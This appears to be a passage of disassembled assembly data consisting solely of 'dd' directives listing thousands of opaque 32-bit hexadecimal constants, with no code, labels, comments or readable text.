		dd 3315A757h, 0C243F310h, 0F8E7D6ACh, 506D3C2h,	0F8E7D668h
		dd 0C2857D05h, 0BD8C451h, 2F1037FBh, 5EBCE781h,	0BB9DAC91h
		dd 3784F842h, 0A88046DEh, 0E05A9D16h, 0F7220B64h, 1CD140BBh
		dd 76180C85h, 2BE6B07Ah, 81333E9Dh, 11D03203h, 0F53297h
		dd 25336EBCh, 0CEB231E6h, 6F44A752h, 9B76A4BBh,	758EA461h
		dd 0EADCAC63h, 0BC0911DDh, 9B1253D6h, 0CA02A95Fh, 0BD21CC6Bh
		dd 8F292585h, 57C236C3h, 8704AB18h, 0EF9B7A5Fh,	0E8D3986Fh
		dd 552E4A69h, 8E34D9B2h, 0E80599ABh, 6FA66C7Dh,	85FF48B0h
		dd 1B17E768h, 0BE9886BCh, 0A2277DDFh, 577D3976h, 0DA31AB18h
		dd 0C0B6371Ah, 3019B608h, 4D036534h, 0CBE18A08h, 9652F61Ch
		dd 388509E0h, 0FBE54E55h, 8202D30Ah, 8970B103h,	4EA56D5Eh
		dd 9A37BA51h, 8C8F48B7h, 0CE9F8D14h, 9802A752h,	0A3A5DFB1h
		dd 0A7A29B21h, 2E3A4380h, 86BCE2E4h, 18339B1Dh,	0BA50A771h
		dd 9302A6EEh, 0CDD02473h, 6B14D252h, 4F02AB36h,	0E178D4DFh
		dd 81DFC9A4h, 79B851A4h, 6DCBC75Bh, 0E733C65Dh,	4363826Fh
		dd 5C082738h, 69522B72h, 8603F045h, 0FB7D8C09h,	9408FC89h
		dd 5C0807C4h, 0A006C61Bh, 0CF7CCE72h, 8A8F786h,	23C54746h
		dd 0F8613E16h, 9860E8BAh, 8F394117h, 0A0C0F9FAh, 2F3422CCh
		dd 0FA306835h, 12203925h, 0FA1DE34Eh, 66E52DDAh, 0CA169030h
		dd 0AA0C70BCh, 17F20632h, 0FC92DA50h, 0A3A3D501h, 1A3B3021h
		dd 0B8FAC8C0h, 0E6FC3C60h, 0FA84BD43h, 8EC0D53Ch, 63677DDEh
		dd 33CE1129h, 65E4692Bh, 9A0D39FFh, 0BBC0C78Ah,	281C51CDh
		dd 877765D6h, 32C6CFBBh, 0B66833BEh, 45F2E5EAh,	66E52916h
		dd 83A2C830h, 142E400Ch, 5FAA0C2Ah, 2CF85392h, 66E5518Ch
		dd 7AB8C830h, 24C0C61Eh, 0D257C865h, 87EC280Ch,	0A220EFA1h
		dd 6FDBDDAFh, 0A22C19DFh, 8E390CAFh, 0DA9CDDCCh, 6A2EDBA9h
		dd 46153960h, 9AE6C075h, 5DD489CFh, 21271CADh, 0D1CB9E26h
		dd 93574F00h, 0D6BB6026h, 0C0BE9C03h, 197591CFh, 0F662035Dh
		dd 0EFFE7F3Dh, 5C947FBBh, 15D33A02h, 96580B2h, 0BB870126h
		dd 96D347DAh, 0DBDC38B4h, 8F9EB624h, 0C92B8697h, 0B2674D0Fh
		dd 0A7849925h, 2B65FC9Fh, 0B2E00022h, 0F439378Eh, 4C9ED8C5h
		dd 0D4BF6E25h, 424A15BEh, 0FDA821A4h, 59184A32h, 0E7E5005Ah
		dd 49367572h, 4FCE72D7h, 6DA28A3Dh, 0EA06ED71h,	35281FEBh
		dd 873AA6D0h, 890E38A3h, 0C8073D71h, 4E1AF55Ah,	0D43FD53Eh
		dd 37C2723Ch, 1484D1F7h, 0F921AC42h, 0C8117DF9h, 0B1410B0Dh
		dd 413FF985h, 61FDEF07h, 0B82D1BFh, 0E8C67DC6h,	0EEE7B89Bh
		dd 232AA397h, 0A383DC27h, 0CAAE795Fh, 3C6006F6h, 539FE323h
		dd 26600EA8h, 7B210028h, 158B3C4h, 183F4C4Fh, 0BC459C5Ah
		dd 0F982ED44h, 0A220C023h, 0FF20BE3Ah, 0CF1B54D7h, 0A31C2F30h
		dd 0FA05BCF7h, 924ABB4Bh, 0F8098AB6h, 0F88344AEh, 155A0F2Eh
		dd 22D58F1Ch, 0B7F3DE9Bh, 97B6AE72h, 0ED0B87F3h, 46D7B925h
		dd 2873D56Fh, 650CE8Ah,	0C1499140h, 0C04F2DCBh,	17B2A29Fh
		dd 36198AC9h, 0DC1D634Dh, 15B2DE02h, 0D4F75B95h, 75F3FDFAh
		dd 4A2B0D03h, 947BD2CCh, 6BF12E93h, 0A92297CAh,	0B40066E7h
		dd 0A4CA4C92h, 7AA3B252h, 0B59A9E35h, 22F0DC20h, 0CD38884Eh
		dd 0A7A5D2C6h, 0C9B3E4D1h, 0DB4FC862h, 0FDD04F09h, 5917FB60h
		dd 1003A66Fh, 0A1ED0BA5h, 885B08AEh, 473B726Ah,	0DCA4F2Bh
		dd 84AC2643h, 0D20D0389h, 7B78F8CDh, 2D01CE0Ah,	83AD53FBh
		dd 1DE5E44Eh, 0C90CA0D2h, 6EA1C4Ch, 907607AEh, 0B1AB9A3h
		dd 0B086249Bh, 0F736E499h, 32E19995h, 6673B895h, 0C38A3813h
		dd 0B91B38EDh, 9764B958h, 0A65DB47Ch, 5D441CFBh, 9FE5FA93h
		dd 3B0C67A4h, 3FE2E737h, 742FDDD0h, 29FA1DC6h, 0E4D64DE0h
		dd 6C4E03D4h, 303FFE7Eh, 341B30A3h, 0B685B8Bh, 4AA4AFADh
		dd 7557CD96h, 441C7E7Bh, 6B23967Bh, 79C4475Bh, 85128757h
		dd 34E954C4h, 0AA831BC2h, 2A14715h, 493D8706h, 0C213735Eh
		dd 80298779h, 0A220CF20h, 0EC456DAFh, 0A5D793BBh, 0BD92313Ah
		dd 3A2A7450h, 69D7BD36h, 0CD99ECCCh, 0CAEB2DC6h, 0E40B737Bh
		dd 0C6EEFA32h, 0A15385AFh, 0B38801E9h, 4C8E6E63h, 0D65485B3h
		dd 9238F11Ah, 0B7FA64CFh, 9EF34932h, 0DC124A1Ch, 29A2AB8Bh
		dd 275A15B0h, 0BCE71699h, 0B6E5C0DFh, 80243F30h, 15069AEFh
		dd 2D0C4DE0h, 0F7C722FCh, 66DAEEA2h, 8C1C9D15h,	659ED6FDh
		dd 0FE337D24h, 1B18A40Bh, 0D57BF434h, 0C5E5BC40h, 5D210D9Fh
		dd 0AC11FF2Eh, 0FEA33AA9h, 0A76C389Dh, 0CD9EA1ADh, 1928A493h
		dd 3097609Ch, 0B178B286h, 0A22C1F5Bh, 69E284D0h, 4347753Ah
		dd 69E6813Eh, 5B83201Ch, 0F44E6A65h, 1E970E60h,	3A0B55B0h
		dd 0B5BC10B0h, 916762EBh, 316FFEAEh, 161425E7h,	0A6CD52F8h
		dd 942F5B2Ah, 8CBBE658h, 0A09F7319h, 477B33BBh,	6DC8206Fh
		dd 0FC7B274Ah, 0C3DC5C1Eh, 93015A21h, 421B83EFh, 64BC84h
		dd 0B84C4ABEh, 958D780Eh, 0D31CF72Eh, 62358945h, 355FF896h
		dd 327CF705h, 0DF0CB559h, 0B029FE53h, 0A2200583h, 559EA76Bh
		dd 7FFA4A55h, 94036192h, 0D4BF4DD5h, 243533DAh,	0EBBF4E9Ch
		dd 0A15E167Fh, 12A49F98h, 0EF036B6Dh, 95B9A2D3h, 1DF4C9F0h
		dd 4413411Ah, 8B3870D8h
		dd 5FBF4D90h, 0F0AEB9E6h, 64B76298h, 614413B2h,	615CB37Fh
		dd 7A117775h, 217CD9C1h, 653DE903h, 1DD41997h, 153FB704h
		dd 6B08CC4Dh, 0A22676DBh, 50E284D1h, 0D6E88748h, 0DDDD4F9Ch
		dd 555EDBA8h, 0AC1C1505h, 0CBB1D5D3h, 16711CB7h, 0EFE15CB0h
		dd 15382904h, 0D62E7E26h, 0F4E33F7Bh, 0DB3BC21Eh, 0AC666E3Bh
		dd 8A6F2AEAh, 0B66633DAh, 0B733190Dh, 6F7D455Dh, 9D0898F7h
		dd 23DB1D4Dh, 0A50BCD84h, 4DE16534h, 0C64AB80Ch, 593CC90Dh
		dd 83914D7Dh, 30ABDB39h, 82FE1CB2h, 7715AA83h, 0BD4E4E1Ch
		dd 1E4856DCh, 8DEBA9E9h, 7B545540h, 34A70B68h, 4DA9EDFAh
		dd 4D0B104Eh, 50D0661Ah, 0EB538748h, 9F628FCAh,	0AF0D1EBFh
		dd 0CF281AB7h, 9F63F149h, 0D0880D26h, 688478D6h, 0FF1DA2CAh
		dd 0F985D7FCh, 38CD13CCh, 0A1E023C3h, 0CEA8DCACh, 0FFFB608Dh
		dd 0C7F051B9h, 0C9B9C46h, 2612410Bh, 0A01740BEh, 33271D52h
		dd 7F911BC2h, 6E26A9D2h, 991DA2D1h, 0D50540A4h,	832FDC20h
		dd 0F9AF2B9Ch, 0A702CF98h, 0B7F6AD73h, 0A84381F8h, 593159FBh
		dd 5D654D7Dh, 0D18B84ADh, 0B95A75B6h, 0EA0BCD8Eh, 0D79360B0h
		dd 0A22EACBEh, 0A4F97682h, 0A22C1C9Ah, 0F9D63E82h, 1BF4637Bh
		dd 0A22FDDF2h, 5DA44F40h, 2DAC05Eh, 0F3A3C11Fh,	8BBFD1CAh
		dd 0A8AE54Bh, 731EC22Bh, 2DC11D44h, 319B160h, 6D188001h
		dd 0DC92EAE2h, 3BC08424h, 8F1E52ECh, 0ABD31488h, 0E5675067h
		dd 332A875Bh, 44705E3Fh, 8B1F1703h, 0B2E5C862h,	7907582Ch
		dd 3619BBD6h, 79133AE9h, 42705E21h, 32BA0936h, 6AE8DF03h
		dd 5732017Eh, 17BCE138h, 0AB1212CDh, 4A7E8FD6h,	99E4F36Ah
		dd 4D77BD1Ch, 0D75C9917h, 0B0BDB1E9h, 0E1E221A1h, 343C97h
		dd 5BBCB397h, 6BFB914Bh, 43B7A2F8h, 78E44Ah, 0A14358BAh
		dd 851DF35Bh, 3C301CA0h, 3220E70Dh, 0BD475A81h,	0D641AA54h
		dd 7650FAB2h, 192EACC3h, 8D29FA31h, 3A0B5E54h, 0E7600926h
		dd 0E5675FCBh, 226B2603h, 44712302h, 8C968DA4h,	5D065E54h
		dd 0F86A6CACh, 957EE068h, 184012E0h, 0BC8F93F6h, 0CB98B645h
		dd 0FFC6EDAAh, 0F8640C6Dh, 7645C068h, 0CE5272EDh, 19F552DEh
		dd 0BC8F93F6h, 0CB98B645h, 0AF86EDAAh, 0F9F8C63Bh, 9132068h
		dd 0CEC75E49h, 19F092DEh, 0BC8F93F6h, 0CB98B645h, 0F941EDAAh
		dd 879E20BEh, 8170068h,	95AB1E49h, 185FD2E0h, 0BC8F93F6h
		dd 0CB98B645h, 15FEDAAh, 875D1CD2h, 0B1D06068h,	0CB98B645h
		dd 2ED3EDAAh, 878A9501h, 4F4C4068h, 95FC9257h, 19F092E0h
		dd 0BC8F93F6h, 0CB98B645h, 59F2EDAAh, 0BDE07A1h, 95A6A067h
		dd 19F092E0h, 0BC8F93F6h, 0CB98B645h, 0A9BFEDAAh, 876FDDA5h
		dd 0CF218068h, 89C172DEh, 185FD2E0h, 0BC8F93F6h, 0CB98B645h
		dd 0FABFEDAAh, 26BA8461h, 0BD38E066h, 0CB98B645h, 27C1EDAAh
		dd 87A16C3Ch, 0C11DC068h, 184012DEh, 0BC8F93F6h, 0CB98B645h
		dd 716DEDAAh, 87901D9Eh, 0E7812068h, 0CFE112E0h, 19F552DEh
		dd 0BC8F93F6h, 0CB98B645h, 981BEDAAh, 0F9F2F84Eh, 4C8E0068h
		dd 0BD3BF257h, 0CB98B645h, 0CEB7EDAAh, 0F9F92A75h, 95B36068h
		dd 19F092E0h, 0BC8F93F6h, 0CB98B645h, 9D3AEDAAh, 875C8CCCh
		dd 0CCC04068h, 185FD2ECh, 0BC8F93F6h, 0CB98B645h, 786FEDAAh
		dd 8786410Fh, 0BAA9A068h, 6243B2E0h, 14C872DFh,	19F552EDh
		dd 0BC8F93F6h, 0CB98B645h, 1A57EDAAh, 27086F09h, 0BB278066h
		dd 4F5FD2F6h, 19F09257h, 0BC8F93F6h, 0CB98B645h, 54F9EDAAh
		dd 0F9D842F4h, 4F36E068h, 185FD257h, 0BC8F93F6h, 0CB98B645h
		dd 1B81EDAAh, 0BD47D7Eh, 2454C067h, 0F2FBF2ECh,	4FCE32F6h
		dd 18401257h, 0BC8F93F6h, 0CB98B645h, 94DEDAAh,	0F9FBFAAAh
		dd 27F42068h, 0F7A57FD1h, 0AF6FD2E0h, 0C03D32E0h, 4F4372DEh
		dd 19F55257h, 0BC8F93F6h, 0CB98B645h, 3A55EDAAh, 0F93C3121h
		dd 5C260068h, 59C312E1h, 19F092E1h, 0BC8F93F6h,	0CB98B645h
		dd 1DA9EDAAh, 0F87F6F7Fh, 86D56068h, 998E5E03h,	0E4E85D8Ch
		dd 1E707E03h, 260D9E21h, 185FD2ECh, 0BC8F93F6h,	0CB98B645h
		dd 0A701EDAAh, 878DE35Ah, 1C334068h, 4412FE21h,	4B31E53h
		dd 0CE67E1Bh, 729EBD8Ah, 0E4501E1Ch, 53A9DE03h,	1CB9DE03h
		dd 725BDE21h, 231ADE1Ch, 0E9A5DE09h, 0C1D0DE54h, 184012ECh
		dd 0BC8F93F6h, 0CB98B645h, 9581EDAAh, 1FFEBCF9h, 6B5BE730h
		dd 73613E1Ch, 2756FE1Ch, 0ADC5DD8Ah, 0D2363E03h, 9F403E20h
		dd 0E4FCDE03h, 71D71E03h, 0B3FEB2DFh, 0B2847EA5h, 5D537EA5h
		dd 0E71E12E1h, 0AC1DEA5h, 0BC8D2DFh, 0DB0C52DFh, 0B3E91FD1h
		dd 80055EA5h, 0B3BCBEA5h, 0DAB03EA5h, 0E16D1FD1h, 29B592F6h
		dd 70AA92ECh, 3A171EA4h, 0D8C712ECh, 0CE4C12ECh, 7EC352DEh
		dd 0B2CF7EA4h, 0B25A7EA5h, 8DFC5EA5h, 56EABEA5h, 448F5EA5h
		dd 5E763EA4h, 0CE1712E1h, 0CE8D52DEh, 0F221B2DEh, 50B712F6h
		dd 5E5152E1h, 0CC9752E1h, 0F3C092ECh, 0B6F192E0h, 0CE2A52DFh
		dd 6376F2DEh, 0B61312DFh, 509BB2DFh, 0D83D52E1h, 0D81952ECh
		dd 0CE8252ECh, 19F552DEh, 0BC8F93F6h, 0CB98B645h, 8777EDAAh
		dd 6342B90h, 1C5EC72Fh,	73109E21h, 99CD5E1Ch, 0E4999D8Ch
		dd 0CE6AFE03h, 19F092DEh, 0BC8F93F6h, 0CB98B645h, 0EE0CEDAAh
		dd 1CF77467h, 48852730h, 0CAB93E54h, 0B796FE3Fh, 0B95C5E21h
		dd 0B7BFFE54h, 231F9E21h, 16F2FE09h, 1C273E1Ch,	0C6B65E21h
		dd 3FEB7D8Ch, 1D03BE1Bh, 1E8EFE21h, 9989BE21h, 638C1D8Ch
		dd 76371E53h, 185FD2EDh, 0BC8F93F6h, 0CB98B645h, 716BEDAAh
		dd 67467680h, 0BD220730h, 0CB98B645h, 7881EDAAh, 628CACBh
		dd 9574672Fh, 185FD2E0h, 0BC8F93F6h, 0CB98B645h, 49C6EDAAh
		dd 6427576h, 93CF472Fh,	19F552F6h, 0BC8F93F6h, 0CB98B645h
		dd 1049EDAAh, 674B83D0h, 9ACCA730h, 196D7E54h, 56873E21h
		dd 8E14FEA5h, 719AFEA5h, 0B92FEA4h, 875C32DFh, 0EFF77FCBh
		dd 47B3DFCBh, 0F2DDFEA4h, 0A0C752F6h, 88E412E0h, 79CCF2F6h
		dd 0D9B47EA4h, 25EDF2ECh, 13DD52ECh, 19F552DFh,	0BC8F93F6h
		dd 0CB98B645h, 86C9EDAAh, 64249BAh, 5E9872Fh, 119C3E1Bh
		dd 51927E21h, 19F092E1h, 0BC8F93F6h, 0CB98B645h, 3941EDAAh
		dd 0D2A19883h, 0BD22E72Fh, 0CB98B645h, 43EAEDAAh, 6750B91Bh
		dd 57CCC730h, 63F40329h, 124B7E53h, 185FD2DFh, 0BC8F93F6h
		dd 0CB98B645h, 69EDAAh,	674B4BD7h, 23A42730h, 98C90305h
		dd 30F2DD8Ch, 5EE6DE09h, 184012E1h, 0BC8F93F6h,	0CB98B645h
		dd 3107EDAAh, 68D49C4h,	59C2072Fh, 19F552E1h, 0BC8F93F6h
		dd 0CB98B645h, 0D31CEDAAh, 6755CD82h, 79CF6730h, 12BBBE21h
		dd 19F092DFh, 0BC8F93F6h, 0CB98B645h, 6282EDAAh, 6749413Eh
		dd 0E51A4730h, 0E5303E03h, 599DFE03h, 185FD2E1h, 0BC8F93F6h
		dd 0CB98B645h, 0B21EEDAAh, 67465B6Bh, 8A41A730h, 25672346h
		dd 253DE340h, 53B5A340h, 567D3E54h, 19F552E0h, 0BC8F93F6h
		dd 0CB98B645h, 8AA3EDAAh, 68D50B5h, 0E549872Fh,	0B6B45E03h
		dd 184012DFh, 0BC8F93F6h, 0CB98B645h, 5E06EDAAh, 10E502C4h
		dd 8619E730h, 59A5DE03h, 19F552E1h, 0BC8F93F6h,	0CB98B645h
		dd 54ABEDAAh, 675005F6h, 0D50CC730h, 0FA209D8Ah, 5E515D8Ch
		dd 19F092E1h, 0BC8F93F6h, 0CB98B645h, 0A00BEDAAh, 6339F7Bh
		dd 13EF272Fh, 185FD2DFh, 0BC8F93F6h, 0CB98B645h, 169CEDAAh
		dd 6747E013h, 57360730h, 0FEE89D8Ch, 0FDFB1D8Ch, 662E9D8Ch
		dd 9C1EBE40h, 0DEEE9E03h
		dd 9B8072ECh, 5E3D32E0h, 184012E1h, 0BC8F93F6h,	0CB98B645h
		dd 0D786EDAAh, 6343DDBh, 57D1672Fh, 99CB5D8Ch, 0C4863D8Ch
		dd 0F1B63E41h, 1E42DD8Ch, 0B781BE21h, 0A15912DFh, 13ECB2E0h
		dd 19F552DFh, 0BC8F93F6h, 0CB98B645h, 8B7BEDAAh, 0D289E6B0h
		dd 4F6B472Fh, 19F09257h, 0BC8F93F6h, 0CB98B645h, 2AA2EDAAh
		dd 0D2BC0030h, 1186A72Fh, 1CA19E21h, 8B175E21h,	9924405Bh
		dd 0E72FBD8Ch, 185FD2E0h, 0BC8F93F6h, 0CB98B645h, 6F82EDAAh
		dd 0D2867B97h, 6E92872Fh, 6F51FE21h, 0A0E65E21h, 0E74CBE54h
		dd 184012E0h, 0BC8F93F6h, 0CB98B645h, 0B78BEDAAh, 7D1B2224h
		dd 1D2A48F2h, 72E7E21h,	0A0839E1Bh, 0C2AA5E54h,	4167D8Ah
		dd 4181E1Bh, 0E80D1E1Bh, 992FDE54h, 9CEF1D8Ch, 7B11DE03h
		dd 2FDDE53h, 4480DE20h,	44A732DFh, 0E618FEA4h, 5C3BDEA5h
		dd 711A52E1h, 50ABD2DFh, 0DB1DB2E1h, 84DA1FD1h,	507A1FCBh
		dd 7E0892E1h, 0F7AAD2DFh, 2513B2E0h, 0A14E52ECh, 0E4FA12E0h
		dd 0E7CFB2E0h, 0A17892E0h, 4C80D2E0h, 93335257h, 0CD7052F6h
		dd 27C712ECh, 0D83752ECh, 6284F2ECh, 0E9D2D2DFh, 73CE72E0h
		dd 426A12EDh, 4323DE42h, 0CD78DE42h, 0E751F2ECh, 19F552E0h
		dd 0BC8F93F6h, 0CB98B645h, 38FCEDAAh, 10E2509Dh, 127FC730h
		dd 691E9EA4h, 0D110BE21h, 310BE340h, 0B9143E1Bh, 0ACD35E54h
		dd 309BFE54h, 0FBE91E1Bh, 0D4955D8Ch, 0CAF21D8Ah, 0FA3BE20h
		dd 4BF73D8Ah, 8637DE03h, 84D79E03h, 0F8BF7FCBh,	0D835D2F6h
		dd 622BD2ECh, 4F7092DFh, 3A91257h, 2A192ECh, 4EA3B2ECh
		dd 1438D257h, 31F52EDh,	4E6872ECh, 1DC43257h, 764152EDh
		dd 0CE7372EDh, 0CEBC92DEh, 255512DEh, 4C7A12ECh, 185FD257h
		dd 0BC8F93F6h, 0CB98B645h, 0B25EDAAh, 7DE3CDE8h, 18588F2h
		dd 0D47BDD8Ah, 4C76DD8Ah, 18401257h, 0BC8F93F6h, 0CB98B645h
		dd 0D5EEDAAh, 62F2A228h, 0FCF2E8F2h, 0B4746346h, 0C93F7E21h
		dd 0AEC23D8Ah, 676F92E0h, 19F552EDh, 0CF6493F6h, 0B1CB12DEh
		dd 0CB98B645h, 3BC6EDAAh, 7DEEED5Dh, 0D50EC8F2h, 4C0BBD8Ah
		dd 19F09257h, 0BC8F93F6h, 0CB98B645h, 0B42BEDAAh, 7D23249Bh
		dd 9A6C28F2h, 7695BE54h, 0D2701E40h, 0A9983E20h, 9A8F3E21h
		dd 0AC617E54h, 0D4029E54h, 4C767D8Ah, 185FD257h, 0BC8F93F6h
		dd 0CB98B645h, 0E9C8EDAAh, 7DD9F8DFh, 60C308F2h, 22CE832Eh
		dd 4FAD0302h, 18401257h, 0BC8F93F6h, 0CB98B645h, 0F60FEDAAh
		dd 6747E506h, 99278730h, 49EDD8Ch, 99AB5E1Bh, 526E1D8Ch
		dd 6782FE03h, 19F552EDh, 0BC8F93F6h, 0CB98B645h, 0C2D4EDAAh
		dd 7DF08A79h, 8B5748F2h, 6F932346h, 4677DE21h, 8B10DE21h
		dd 19F552F6h, 0BC8F93F6h, 0CB98B645h, 0A14EDAAh, 70BF4254h
		dd 3B49A8F2h, 19F092ECh, 0BC8F93F6h, 0CB98B645h, 0C78CEDAAh
		dd 707D90D5h, 0E0DA88F2h, 19F552F6h, 0BC8F93F6h, 0CB98B645h
		dd 45BDEDAAh, 7C2A63C7h, 0E004E8F2h, 19F092F6h,	0BC8F93F6h
		dd 598B645h, 98DCFE7Ch,	728136AAh, 0DD85D55Eh, 564CEB3Ah
		dd 0B27CA83Ah, 5F3C4C3h, 0DCE0FE7Ch, 72CE0244h,	27B4355Eh
		dd 53A1F84Ah, 5AC2F37h,	6637AF36h, 1D218F37h, 3E0B2F37h
		dd 8800CF05h, 10094B41h, 0AFBFEB3Bh, 0DD78AB78h, 56492B3Ah
		dd 0B27CA83Ah, 5F3C4C3h, 6CF4FE7Ch, 7E9D59BDh, 0D9A5155Eh
		dd 6318584Ah, 50844F37h, 9546EF37h, 246E0F2Dh, 2567EFDCh
		dd 0DE4ACFDCh, 0F0C50F05h, 0A2524FDCh, 0A141AF54h, 0B7E3EF54h
		dd 65BBEF54h, 7D188F2Ch, 0D7E02F2Ch, 0E6D46FDCh, 19524F05h
		dd 352C0F31h, 573A6B3Ah, 0B27CA83Ah, 5F3C4C3h, 0ACF5FE7Ch
		dd 733BD065h, 0DD8F755Eh, 573BAB3Ah, 0B27CA83Ah, 5F3C4C3h
		dd 0E41BFE7Ch, 7304B46Ch, 0E2555Eh, 0DD7C4F54h,	564CEB3Ah
		dd 0B27CA83Ah, 5F3C4C3h, 1168FE7Ch, 7E9AF436h, 0EB3FB55Eh
		dd 62512F57h, 0E48AF37h, 2D31AF54h, 1A41804h, 98C24F54h
		dd 0CEA4EF54h, 52D48F54h, 78F06F37h, 842A2F31h,	0D6388F05h
		dd 33450F57h, 165CEB2Fh, 4EEE8BFCh, 30844FDDh, 3077EF2Bh
		dd 7CE14F2Bh, 32630F2Ch, 32346F2Bh, 66CEAF2Bh, 0C972F37h
		dd 4B3809Ah, 8F83A480h,	6BB62780h, 0DC2D4B09h, 0B7C671C2h
		dd 0ABB3F9DFh, 0D0AD1AA4h, 8E74E481h, 6BB62780h, 0DC2D4B09h
		dd 0BA9971C2h, 0F1E18EC4h, 6AA79B4Dh, 0DC2D4B09h, 0AC171C2h
		dd 0AA30DCBDh, 0F95A5AA4h, 80E3E07Ch, 8F8664BFh, 6BB62780h
		dd 0DC2D4B09h, 2EBE71C2h, 0F1E18721h, 5FCBDB4Dh, 46A1809Ah
		dd 8F83A4BDh, 6BB62780h, 0DC2D4B09h, 2F5E71C2h,	0F1E05925h
		dd 504C3B4Dh, 61B9407Ch, 8F83A4BEh, 6BB62780h, 0DC2D4B09h
		dd 6D8271C2h, 0AA894267h, 6962FAA4h, 8E7524BEh,	6BB62780h
		dd 0DC2D4B09h, 6D7A71C2h, 1BEC86DEh, 0E43071C2h, 70D68635h
		dd 31C95556h, 2449979Ch, 8E7524BEh, 6BB62780h, 0DC2D4B09h
		dd 651C71C2h, 2E6DDE6Bh, 0C8F0B556h, 0DA42579Dh, 8F866480h
		dd 6BB62780h, 0DC2D4B09h, 1B9471C2h, 0D102A1B9h, 31AA9557h
		dd 0D85B979Ch, 8F83A4BEh, 6BB62780h, 0DC2D4B09h, 169471C2h
		dd 70C0357Ah, 0BFEAF556h, 8263A023h, 31B37748h,	0D85B979Ch
		dd 8E74E4BEh, 6BB62780h, 0DC2D4B09h, 742571C2h,	2E6A445Eh
		dd 95F1D556h, 829D4023h, 0DAD29748h, 8E752480h,	6BB62780h
		dd 0DC2D4B09h, 91A571C2h, 2E3B4EC8h, 1D5E3556h,	10F7D79Ch
		dd 8F8664BEh, 85152780h, 8E8804BFh, 0DAE52780h,	8E880480h
		dd 0BFF62780h, 8F866481h, 6BB62780h, 0DC2D4B09h, 0D2DF71C2h
		dd 2F02112Eh, 0DA261556h, 8F83A480h, 6BB62780h,	0DC2D4B09h
		dd 107971C2h, 2F02C8A9h, 0DAE67556h, 8E74E480h,	6BB62780h
		dd 0DC2D4B09h, 207F71C2h, 70E9D6E7h, 0D85A5556h, 8E7524BEh
		dd 6BB62780h, 0DC2D4B09h, 0BC3271C2h, 73A7F67Fh, 6BB7B556h
		dd 0DC2D4B09h, 6D7A71C2h, 1BEC86DEh, 632471C2h,	0AF9C668Dh
		dd 24FB1AA4h, 8E74E4BEh, 6BB62780h, 0DC2D4B09h,	6D7A71C2h
		dd 1BEC86DEh, 819A71C2h, 2F039648h, 95BDB556h, 7A81753Ch
		dd 0A88B009Ah, 0B2F904EAh, 78A204EAh, 8E74E4BEh, 6BB62780h
		dd 0DC2D4B09h, 93FC71C2h, 0CCA86BB1h, 0DAE99557h, 78C02480h
		dd 8E7524BEh, 6BB62780h, 0DC2D4B09h, 1F5371C2h,	383685F7h
		dd 76FEF556h, 80EE04BEh, 8F8664BFh, 6BB62780h, 0DC2D4B09h
		dd 7F1071C2h, 2F190797h, 43F8D556h, 42BA24BEh, 8F83A4BEh
		dd 6BB62780h, 0DC2D4B09h, 0ACFB71C2h, 3B882169h, 76E03556h
		dd 42BA24BEh, 8E74E4BEh, 6BB62780h, 0DC2D4B09h,	7ACD71C2h
		dd 2F07B4F0h, 0D3951556h, 5FDEC481h, 8E7524BEh,	6BB62780h
		dd 0DC2D4B09h, 0F7C771C2h, 2F06CAAFh, 0D30A7556h, 42DC2481h
		dd 8F8664BEh, 6BB62780h, 0DC2D4B09h, 94FB71C2h,	380400C1h
		dd 0C9305556h, 42BB8481h, 8F83A4BEh, 6BB62780h,	0DC2D4B09h
		dd 0CB4471C2h, 2F107CF1h, 0FC00B556h, 0D584480h, 8E74E4BEh
		dd 6BB62780h, 0DC2D4B09h, 6B4A71C2h, 2ECC855Bh,	2FEA9556h
		dd 42F36480h, 8E7524BEh, 6BB62780h, 0DC2D4B09h,	19E471C2h
		dd 2F283DD1h, 0D9B6F556h, 10DB44BEh, 6DE564BEh,	0D6C04BEh
		dd 8F8664BEh, 6BB62780h, 0DC2D4B09h, 0A39E71C2h, 2EC4605Ah
		dd 0B28CD556h, 0D6D44EAh, 8F83A4BEh, 6BB62780h,	0DC2D4B09h
		dd 0F0C471C2h, 3B3DB7ACh, 104B3556h, 0B2D5C4E9h, 42EDC4EAh
		dd 8E74E4BEh, 6BB62780h, 0DC2D4B09h, 0FCB871C2h, 2E44B81Eh
		dd 0D7601556h, 428604BEh
		dd 8E7524BEh, 6BB62780h, 0DC2D4B09h, 307A71C2h,	2E89A0A5h
		dd 4CA7556h, 78A68480h,	8F8664BEh, 6BB62780h, 0DC2D4B09h
		dd 1D1771C2h, 2E88C3A8h, 0D98B5556h, 4FF044BEh,	6DC64487h
		dd 42F3A4BEh, 8F83A4BEh, 6BB62780h, 0DC2D4B09h,	0BCE71C2h
		dd 2F194FB9h, 7891B556h, 58FB44BEh, 43252487h, 8E74E4BEh
		dd 6BB62780h, 0DC2D4B09h, 1DF071C2h, 3A0D13BBh,	2EEC9556h
		dd 42AF04E3h, 8E7524BEh, 6BB62780h, 0DC2D4B09h,	0ECA871C2h
		dd 2E7F50A9h, 6473F556h, 42F384E9h, 8F8664BEh, 6BB62780h
		dd 0DC2D4B09h, 4E1C71C2h, 2E9AB75Fh, 0A880D556h, 61FE24BFh
		dd 8F83A4BEh, 6BB62780h, 0DC2D4B09h, 0FECA71C2h, 2E892C22h
		dd 5EAE3556h, 78C284E9h, 8E74E4BEh, 6BB62780h, 0DC2D4B09h
		dd 634471C2h, 3B3D1B80h, 707D1556h, 4ACD84E3h, 372C64BDh
		dd 618FA480h, 8E7524BEh, 6BB62780h, 0DC2D4B09h,	354B71C2h
		dd 380AC48Ch, 0D12B7556h, 1953A4ECh, 604B04E9h,	8F8664BEh
		dd 6BB62780h, 0DC2D4B09h, 4D7671C2h, 2F067DCCh,	8F1C5556h
		dd 6052E4EAh, 8F83A4BEh, 6BB62780h, 0DC2D4B09h,	41AB71C2h
		dd 2E7CB43Dh, 651AB556h, 78B1A4E9h, 8E74E4BEh, 6BB62780h
		dd 0DC2D4B09h, 0C21F71C2h, 2F063E22h, 651A9556h, 428744E9h
		dd 8E7524BEh, 6BB62780h, 0DC2D4B09h, 908771C2h,	3B3D81EDh
		dd 0B349F556h, 541844EAh, 617004BDh, 8F8664BEh,	6BB62780h
		dd 0DC2D4B09h, 0AE6D71C2h, 2E9A611Dh, 0DC05D556h, 61C704E9h
		dd 8F83A4BEh, 6BB62780h, 0DC2D4B09h, 50E471C2h,	2E643639h
		dd 7CF83556h, 0B2AF84EAh, 758384EAh, 8FE64480h,	74E3C4EAh
		dd 47F8480h, 0DACC2480h, 0DA092480h, 0D116480h,	617144BEh
		dd 8E74E4BEh, 6BB62780h, 0DC2D4B09h, 8C5271C2h,	2ECECBC1h
